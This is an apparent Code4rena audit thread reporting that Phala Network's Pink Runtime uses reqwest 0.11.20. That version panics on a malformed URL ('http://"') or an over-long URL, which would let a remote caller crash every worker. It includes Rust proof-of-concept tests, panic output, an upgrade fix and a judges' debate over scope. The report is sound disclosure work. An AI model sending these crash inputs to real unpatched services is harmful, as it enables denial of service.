c4-bot-5 commented 6 months ago

Lines of code

https://github.com/code-423n4/2024-03-phala-network/blob/main/phala-blockchain/Cargo.lock#L4116

Vulnerability details

Impact

Pink Runtime utilizes reqwest crate to perform HTTP requests.

If we check Cargo.toml#L13 file, we find that it is using "0.11" version. This way, we make sure that the dep is always updated within 0.11.X. However, if you install the deps, you will find that it is using reqwest version 0.11.20 (you can confirm this by Cargo tree. This is due to the lock file which has 0.11.20 version stored. For more info on Cargo.toml and Cargo.lock please check Cargo.toml vs Cargo.lock.

Why the version matters? The answer is simple, any verison of reqwest prior to 0.11.24 has a vulnerablity which could be exploited to cause a panic. As a result, anyone could cause the runtime to panic which cause the worker to panic as well. For reference, here is the direct link of what's changed in 0.11.24 version: https://github.com/seanmonstar/reqwest/releases/tag/v0.11.24

A malicious actor can cause all workers to panic (bringing the whole off-chain network down). This is possible, because you can simply pass the same query that include the attack to all workers' RPCs separately.

Note:only queries since HTTP feature is unavailable through transactions.

An example of how to exploit the vulnerablity is to pass "http://\"" as a URL for the http request or passing too long URL (which is allowed since there is no validation in Pink Runtime for URLs lengthes).

The first specific example (i.e. "http://\"") was reported in 2019, for more info please check this: https://github.com/seanmonstar/reqwest/issues/668

I've combined both attacks in this report since they have a common fix, although both throw different errors.

Please check PoC below for both scenarios.

Proof of Concept

Please add the test code in phala-blockchain/crates/pink/chain-extension/src/lib.rs

Run the following command:


cargo test test_cause_panic_via_reqwest -- --show-output

OR

cargo test test_cause_panic_via_long_urls -- --show-output


You should see an output similiar to this:
```sh
running 1 test
test tests::test_cause_panic_via_reqwest ... ok

successes:

---- tests::test_cause_panic_via_reqwest stdout ----
http
thread 'tokio-runtime-worker' panicked at /Users/mo/.cargo/registry/src/index.crates.io-6f17d22bba15001f/reqwest-0.11.20/src/into_url.rs:80:14:
a parsed Url should always be a valid Uri: InvalidUri(InvalidUriChar)
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

successes:
    tests::test_cause_panic_via_reqwest

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 29 filtered out; finished in 0.00s

Test code


#[tokio::test]
async fn test_cause_panic_via_reqwest() {

    let ur:String = "http://\"".to_owned();
    let response = tokio::task::spawn_blocking(|| {
        http_request(
            HttpRequest {
                url: ur.into(),
                method: "GET".into(),
                headers: vec![("X-Foo".to_string(), "bar".to_string())],
                body: vec![],
            },
            1000 * 10,
        )
    })
    .await;

}

}

[tokio::test]

async fn test_cause_panic_via_long_urls() {

    let mut ur:String = "https://httpbin.org/get?".to_owned();

    let extURL:String = (0..20000).map(|_| "&X=X").collect::<String>();
    ur.push_str(&extURL);

    println!("{}", ur.len());

    let response = tokio::task::spawn_blocking(|| {
        http_request(
            HttpRequest {
                url: ur.into(),
                method: "GET".into(),
                headers: vec![("X-Foo".to_string(), "bar".to_string())],
                body: vec![],
            },
            1000 * 10,
        )
    })
    .await;

}


- When using `Cargo tree`
```sh
..
..
..
..

│           ├── konst_proc_macros v0.3.0 (proc-macro)
│           └── typewit v1.8.0 (*)
├── reqwest v0.11.20
│   ├── base64 v0.21.3
│   ├── bytes v1.4.0

..
..
..
..

│   ├── url v2.5.0 (*)
│   └── webpki-roots v0.25.3
├── reqwest-env-proxy v0.1.0 (/Users/mo/Documents/share/2024-03-phala-network/phala-blockchain/crates/reqwest-env-proxy)
│   └── reqwest v0.11.20 (*)
├── sp-core v21.0.0 (https://github.com/paritytech/polkadot-sdk.git?branch=release-polkadot-v1.5.0#8a98fec3)

..
..
..
..

Tools Used

Manual analysis

Recommended Mitigation Steps

Update reqwest crate to 0.11.27 version (or at least 0.11.24). Make sure Lock file reflects the new version number.

Please note that reqwest-env-proxy crate is using reqwest 0.11.20 as well although it has "0.11.11" in its Cargo file (for the same reason above).

Assessed type

Library

c4-pre-sort commented 6 months ago

141345 marked the issue as insufficient quality report

141345 commented 6 months ago

Out of scope

kvinwang commented 6 months ago

Although out of scope, this should be the most valuable finding among others. Let the judge decide whether to give a reward.

c4-sponsor commented 6 months ago

kvinwang (sponsor) confirmed

OpenCoreCH commented 6 months ago

The warden has demonstrated how an issue in an external library can bring workers down. Technically, this library was out of scope, the C4 policy when it comes to that is:

When an in-scope contract composes/inherits with an OOS contract, and the root cause exists in the OOS contract, the finding is to be treated as OOS. Exceptional scenarios are at the discretion of the judge.

For the following reasons, I will upgrade it as an exception:

This was not an audit of a smart contract, but a runtime and is comparable with penetration tests that are performed for traditional applications (web sites, mobile apps, etc...). Unlike smart contracts where it is very usual that all dependencies / libraries are out of scope, the libraries and dependencies are typically an important part of such engagements.
The finding was very valuable to the sponsor and resulted in changes that may have helped to prevent downtimes in the future.

c4-judge commented 6 months ago

OpenCoreCH marked the issue as selected for report

DadeKuma commented 6 months ago

I highly respect Koolex for this finding, which I think is technically valid.

At the same time, I believe this issue should be treated as OOS for the reward calculation. It is very unfair to Wardens who read that rule and didn't submit this issue because the file was out of scope for this contest.

Citing the Supreme Court verdict:

The Sponsor must understand that adding a file to scope.txt means it’s in scope, while the omission of a file means it’s out of scope, even if the file will be part of the deployed contracts.

I strongly believe that it will set a bad precedent for the future if this issue is finalized as valid. All Wardens will likely begin submitting OOS findings as they don't lose anything by doing so, but the potential reward is much higher if their issue gets validated.

This will result in a net loss for C4, as Wardens, Lookouts, and Judges waste their time submitting or reviewing issues that are typically invalidated as OOS.

This situation happened many times, and the best way to handle it is for the Sponsor to privately reward the Warden who submitted this issue, if they wish to do so. A past example can be found here.

Thank you all for your understanding.